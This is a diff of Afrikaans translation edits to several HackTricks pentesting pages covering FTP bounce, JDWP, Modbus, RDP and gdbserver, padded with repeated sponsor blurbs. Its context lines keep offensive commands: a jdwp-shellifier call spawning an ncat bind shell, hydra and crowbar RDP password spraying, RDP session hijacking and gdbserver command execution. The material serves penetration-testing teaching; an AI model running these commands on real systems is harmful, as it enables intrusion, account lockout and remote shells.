- Die middel bediener sal meer toegang hê binne die Slachtoffer FTP Bediener as jy om een of ander rede \(dit is wat jy gaan benut\)
|
||||||
|
@ -37,20 +37,20 @@ As jy toegang het tot 'n bounce FTP bediener, kan jy dit laat versoek om lêers
|
||||||
## Stappe
|
## Stappe
|
||||||
|
|
||||||
1. Verbinde met jou eie FTP bediener en maak die verbinding passief \(pasv opdrag\) om dit te laat luister in 'n gids waar die slagoffer diens die lêer sal stuur
|
1. Verbinde met jou eie FTP bediener en maak die verbinding passief \(pasv opdrag\) om dit te laat luister in 'n gids waar die slagoffer diens die lêer sal stuur
|
||||||
2. Maak die lêer wat die FTP Middel bediener na die Slachtoffer bediener gaan stuur \(die exploit\). Hierdie lêer sal 'n platte teks wees van die nodige opdragte om teen die Slachtoffer bediener te autentiseer, die gids te verander en 'n lêer na jou eie bediener af te laai.
|
2. Maak die lêer wat na die Slachtoffer bediener gestuur gaan word deur die FTP Middel bediener \(die eksploit\). Hierdie lêer sal 'n platte teks wees van die nodige opdragte om teen die Slachtoffer bediener te autentiseer, die gids te verander en 'n lêer na jou eie bediener af te laai.
|
||||||
3. Verbinde met die FTP Middel Bediener en laai die vorige lêer op
|
3. Verbinde met die FTP Middel Bediener en laai die vorige lêer op
|
||||||
4. Laat die FTP Middel bediener 'n verbinding met die slagoffer bediener tot stand bring en die exploit lêer stuur
|
4. Laat die FTP Middel bediener 'n verbinding met die slagoffer bediener tot stand bring en die eksploit lêer stuur
|
||||||
5. Vang die lêer in jou eie FTP bediener
|
5. Vang die lêer in jou eie FTP bediener
|
||||||
6. Verwyder die exploit lêer van die FTP Middel bediener
|
6. Verwyder die eksploit lêer van die FTP Middel bediener
|
||||||
|
|
||||||
Vir meer gedetailleerde inligting, kyk na die pos: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
Vir meer gedetailleerde inligting, kyk na die pos: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -17,7 +17,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
@ -25,11 +25,11 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
## Exploitering
|
## Exploitering
|
||||||
|
|
||||||
JDWP eksploitering hang af van die **protokol se gebrek aan outentisering en versleuteling**. Dit word oor die algemeen op **poort 8000** gevind, maar ander poorte is moontlik. Die aanvanklike verbinding word gemaak deur 'n "JDWP-Handshake" na die teikenpoort te stuur. As 'n JDWP diens aktief is, reageer dit met dieselfde string, wat sy teenwoordigheid bevestig. Hierdie handshake dien as 'n vingerafdrukmetode om JDWP dienste op die netwerk te identifiseer.
|
JDWP eksploitering hang af van die **protokol se gebrek aan outentisering en versleuteling**. Dit word oor die algemeen op **poort 8000** gevind, maar ander poorte is moontlik. Die aanvanklike verbinding word gemaak deur 'n "JDWP-Handshake" na die teikenpoort te stuur. As 'n JDWP diens aktief is, antwoord dit met dieselfde string, wat sy teenwoordigheid bevestig. Hierdie handdruk dien as 'n vingerafdrukmetode om JDWP dienste op die netwerk te identifiseer.
|
||||||
|
|
||||||
In terme van prosesidentifikasie, kan die soek na die string "jdwk" in Java prosesse 'n aktiewe JDWP sessie aandui.
|
In terme van prosesidentifikasie, kan die soek na die string "jdwk" in Java prosesse 'n aktiewe JDWP sessie aandui.
|
||||||
|
|
||||||
Die gereedskap van keuse is [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Jy kan dit met verskillende parameters gebruik:
|
Die gereedskap om te gebruik is [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Jy kan dit met verskillende parameters gebruik:
|
||||||
```bash
|
```bash
|
||||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
||||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||||
|
@ -44,25 +44,25 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
|
||||||
|
|
||||||
1. **JDWP Oorsig**:
|
1. **JDWP Oorsig**:
|
||||||
- Dit is 'n pakkie-gebaseerde netwerk-binary protokol, hoofsaaklik sinchronies.
|
- Dit is 'n pakkie-gebaseerde netwerk-binary protokol, hoofsaaklik sinchronies.
|
||||||
- Dit ontbreek outentikasie en versleuteling, wat dit kwesbaar maak wanneer dit blootgestel word aan vyandige netwerke.
|
- Dit ontbreek aan outentisering en versleuteling, wat dit kwesbaar maak wanneer dit aan vyandige netwerke blootgestel word.
|
||||||
|
|
||||||
2. **JDWP Handdruk**:
|
2. **JDWP Handdruk**:
|
||||||
- 'n Eenvoudige handdrukproses word gebruik om kommunikasie te begin. 'n 14-karakter ASCII-string “JDWP-Handshake” word tussen die Debugger (klient) en die Debuggee (bediener) uitgewissel.
|
- 'n Eenvoudige handdrukproses word gebruik om kommunikasie te begin. 'n 14-karakter ASCII-string “JDWP-Handshake” word tussen die Debugger (klient) en die Debuggee (bediener) uitgewissel.
|
||||||
|
|
||||||
3. **JDWP Kommunikasie**:
|
3. **JDWP Kommunikasie**:
|
||||||
- Boodskappe het 'n eenvoudige struktuur met velde soos Lengte, Id, Vlag, en CommandSet.
|
- Boodskappe het 'n eenvoudige struktuur met velde soos Lengte, Id, Vlag, en CommandSet.
|
||||||
- CommandSet waardes wissel van 0x40 tot 0x80, wat verskillende aksies en gebeurtenisse verteenwoordig.
|
- CommandSet-waardes wissel van 0x40 tot 0x80, wat verskillende aksies en gebeurtenisse verteenwoordig.
|
||||||
|
|
||||||
4. **Eksploitering**:
|
4. **Eksploitatie**:
|
||||||
- JDWP laat die laai en aanroep van arbitrêre klasse en bytecode toe, wat sekuriteitsrisiko's inhou.
|
- JDWP laat die laai en aanroep van arbitrêre klasse en bytecode toe, wat sekuriteitsrisiko's inhou.
|
||||||
- Die artikel beskryf 'n eksploitering proses in vyf stappe, wat die verkryging van Java Runtime verwysings, die instelling van breekpunte, en die aanroep van metodes insluit.
|
- Die artikel beskryf 'n eksploitasieproses in vyf stappe, wat die verkryging van Java Runtime verwysings, die instelling van breekpunte, en die aanroep van metodes insluit.
|
||||||
|
|
||||||
5. **Regte Lewe Eksploitering**:
|
5. **Regte Lewe Eksploitatie**:
|
||||||
- Ten spyte van potensiële firewall beskerming, is JDWP dienste ontdekbaar en eksploteerbaar in werklike scenario's, soos gedemonstreer deur soektogte op platforms soos ShodanHQ en GitHub.
|
- Ten spyte van potensiële firewall beskerming, is JDWP-dienste ontdekbaar en eksploteerbaar in werklike scenario's, soos gedemonstreer deur soektogte op platforms soos ShodanHQ en GitHub.
|
||||||
- Die eksploit skrip is getoets teen verskeie JDK weergawes en is platform-onafhanklik, wat betroubare Remote Code Execution (RCE) bied.
|
- Die eksploit-skrip is teen verskeie JDK-weergawes getoets en is platform-onafhanklik, wat betroubare Remote Code Execution (RCE) bied.
|
||||||
|
|
||||||
6. **Sekuriteitsimplikasies**:
|
6. **Sekuriteitsimplikasies**:
|
||||||
- Die teenwoordigheid van oop JDWP dienste op die internet beklemtoon die behoefte aan gereelde sekuriteitshersienings, die deaktivering van debug funksies in produksie, en behoorlike firewall konfigurasies.
|
- Die teenwoordigheid van oop JDWP-dienste op die internet beklemtoon die behoefte aan gereelde sekuriteitshersienings, die deaktivering van debug-funksies in produksie, en behoorlike firewall-konfigurasies.
|
||||||
|
|
||||||
|
|
||||||
### **References:**
|
### **References:**
|
||||||
|
@ -82,7 +82,7 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||||
|
|
||||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
@ -24,7 +24,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
# Basiese Inligting
|
# Basiese Inligting
|
||||||
|
|
||||||
In 1979 is die **Modbus Protokol** deur Modicon ontwikkel, wat as 'n boodskapstruktuur dien. Die primêre gebruik daarvan behels die fasilitering van kommunikasie tussen intelligente toestelle, wat onder 'n meester-slaaf/klient-bediener model werk. Hierdie protokol speel 'n belangrike rol in die moontlikheid vir toestelle om data doeltreffend uit te ruil.
|
In 1979 is die **Modbus Protokol** deur Modicon ontwikkel, wat as 'n boodskapstruktuur dien. Die primêre gebruik daarvan behels die fasilitering van kommunikasie tussen intelligente toestelle, wat onder 'n meester-slaaf/klient-bediener model werk. Hierdie protokol speel 'n belangrike rol in die moontlikmaking van toestelle om data doeltreffend uit te ruil.
|
||||||
|
|
||||||
**Standaard poort:** 502
|
**Standaard poort:** 502
|
||||||
```
|
```
|
||||||
|
@ -45,9 +45,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -17,15 +17,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Basiese Inligting
|
## Basiese Inligting
|
||||||
|
|
||||||
Ontwikkel deur Microsoft, die **Remote Desktop Protocol** (**RDP**) is ontwerp om 'n grafiese koppelvlakverbinding tussen rekenaars oor 'n netwerk moontlik te maak. Om so 'n verbinding tot stand te bring, word **RDP** kliënt sagteware deur die gebruiker gebruik, en terselfdertyd moet die afstandsrekenaar **RDP** bediener sagteware bedryf. Hierdie opstelling maak dit moontlik om die desktopomgewing van 'n verre rekenaar naatloos te beheer en toegang te verkry, wat essensieel die koppelvlak na die gebruiker se plaaslike toestel bring.
|
Ontwikkel deur Microsoft, die **Remote Desktop Protocol** (**RDP**) is ontwerp om 'n grafiese koppelvlakverbinding tussen rekenaars oor 'n netwerk moontlik te maak. Om so 'n verbinding tot stand te bring, word **RDP** kliënt sagteware deur die gebruiker gebruik, en terselfdertyd moet die afstandsrekenaar **RDP** bediener sagteware bedryf. Hierdie opstelling maak dit moontlik om die afstandsrekenaar se desktopomgewing naatloos te beheer en toegang te verkry, wat essensieel die koppelvlak na die gebruiker se plaaslike toestel bring.
|
||||||
|
|
||||||
**Standaard poort:** 3389
|
**Standaard poort:** 3389
|
||||||
```
|
```
|
||||||
|
@ -48,7 +48,7 @@ Dit kontroleer die beskikbare versleuteling en DoS kwesbaarheid (sonder om DoS a
|
||||||
|
|
||||||
**Wees versigtig, jy kan rekeninge vergrendel**
|
**Wees versigtig, jy kan rekeninge vergrendel**
|
||||||
|
|
||||||
### **Password Spraying**
|
### **Wagwoord Spuit**
|
||||||
|
|
||||||
**Wees versigtig, jy kan rekeninge vergrendel**
|
**Wees versigtig, jy kan rekeninge vergrendel**
|
||||||
```bash
|
```bash
|
||||||
|
@ -57,7 +57,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
||||||
# hydra
|
# hydra
|
||||||
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
||||||
```
|
```
|
||||||
### Verbinde met bekende akrediteer/hasie
|
### Verbind met bekende akrediteer/hasie
|
||||||
```bash
|
```bash
|
||||||
rdesktop -u <username> <IP>
|
rdesktop -u <username> <IP>
|
||||||
rdesktop -d <domain> -u <username> -p <password> <IP>
|
rdesktop -d <domain> -u <username> -p <password> <IP>
|
||||||
|
@ -72,9 +72,9 @@ rdp_check <domain>/<name>:<password>@<IP>
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, eksploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -96,7 +96,7 @@ Nou sal jy binne die geselekteerde RDP-sessie wees en jy sal 'n gebruiker moet n
|
||||||
|
|
||||||
**Belangrik**: Wanneer jy toegang tot 'n aktiewe RDP-sessie verkry, sal jy die gebruiker wat dit gebruik het, afskakel.
|
**Belangrik**: Wanneer jy toegang tot 'n aktiewe RDP-sessie verkry, sal jy die gebruiker wat dit gebruik het, afskakel.
|
||||||
|
|
||||||
Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die gebruiker se virtuele lessenaars te interaksie (wagwoorde in notepad sonder om op skyf te stoor, ander RDP-sessies wat op ander masjiene oop is...)
|
Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die gebruiker se virtuele werkstasies te interaksie (wagwoorde in notepad sonder om op die skyf gestoor te word, ander RDP-sessies wat op ander masjiene oop is...)
|
||||||
|
|
||||||
#### **Mimikatz**
|
#### **Mimikatz**
|
||||||
|
|
||||||
|
@ -127,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
||||||
|
|
||||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||||
|
|
||||||
**AutoRDPwn** is 'n post-exploitasie raamwerk geskep in Powershell, ontwerp hoofsaaklik om die **Shadow** aanval op Microsoft Windows rekenaars te outomatiseer. Hierdie kwesbaarheid (lys as 'n kenmerk deur Microsoft) laat 'n afstandaanvaller toe om **sy slagoffer se lessenaar sonder sy toestemming te sien**, en selfs dit op aanvraag te beheer, met behulp van gereedskap wat in die bedryfstelsel self ingebou is.
|
**AutoRDPwn** is 'n post-exploitasie raamwerk geskep in Powershell, hoofsaaklik ontwerp om die **Shadow** aanval op Microsoft Windows rekenaars te outomatiseer. Hierdie kwesbaarheid (lys as 'n kenmerk deur Microsoft) laat 'n afstandaanvaller toe om **sy slagoffer se lessenaar sonder sy toestemming te sien**, en selfs dit op aanvraag te beheer, met behulp van gereedskap wat in die bedryfstelsel self ingebou is.
|
||||||
|
|
||||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||||
* Beheer muis en sleutelbord op 'n geoutomatiseerde manier vanaf die opdraglyn
|
* Beheer muis en sleutelbord op 'n geoutomatiseerde manier vanaf die opdraglyn
|
||||||
|
@ -157,9 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -17,7 +17,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
@ -25,9 +25,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
## **Basiese Inligting**
|
## **Basiese Inligting**
|
||||||
|
|
||||||
**gdbserver** is 'n hulpmiddel wat die afstandsdebugin van programme moontlik maak. Dit loop saam met die program wat gedebug moet word op dieselfde stelsel, bekend as die "teiken." Hierdie opstelling laat die **GNU Debugger** toe om van 'n ander masjien, die "gasheer," te verbind, waar die bronskode en 'n binêre kopie van die gedebugde program gestoor word. Die verbinding tussen **gdbserver** en die debugger kan oor TCP of 'n seriële lyn gemaak word, wat veelsydige debugin-opstellings moontlik maak.
|
**gdbserver** is 'n hulpmiddel wat die afstandsdebugin van programme moontlik maak. Dit loop saam met die program wat gedebugeer moet word op dieselfde stelsel, bekend as die "teiken." Hierdie opstelling laat die **GNU Debugger** toe om van 'n ander masjien, die "gasheer," te verbind, waar die bronskode en 'n binêre kopie van die gedebugeerde program gestoor word. Die verbinding tussen **gdbserver** en die debugger kan oor TCP of 'n seriële lyn gemaak word, wat veelsydige debugin-opstellings moontlik maak.
|
||||||
|
|
||||||
Jy kan 'n **gdbserver laat luister op enige poort** en op die oomblik **kan nmap nie die diens herken nie**.
|
Jy kan 'n **gdbserver laat luister op enige poort** en op die oomblik **is nmap nie in staat om die diens te herken nie**.
|
||||||
|
|
||||||
## Exploitatie
|
## Exploitatie
|
||||||
|
|
||||||
|
@ -58,7 +58,7 @@ run
|
||||||
```
|
```
|
||||||
### Voer arbitrêre opdragte uit
|
### Voer arbitrêre opdragte uit
|
||||||
|
|
||||||
Daar is 'n ander manier om die **debugger te laat uitvoer arbitrêre opdragte via 'n** [**python pasgemaakte skrif geneem van hier**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
Daar is 'n ander manier om die **debugger te laat uitvoer arbitrêre opdragte via 'n** [**python pasgemaakte skrif wat hier geneem is**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||||
```bash
|
```bash
|
||||||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||||||
target extended-remote 192.168.1.4:2345
|
target extended-remote 192.168.1.4:2345
|
||||||
|
@ -200,9 +200,9 @@ RemoteCmd()
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
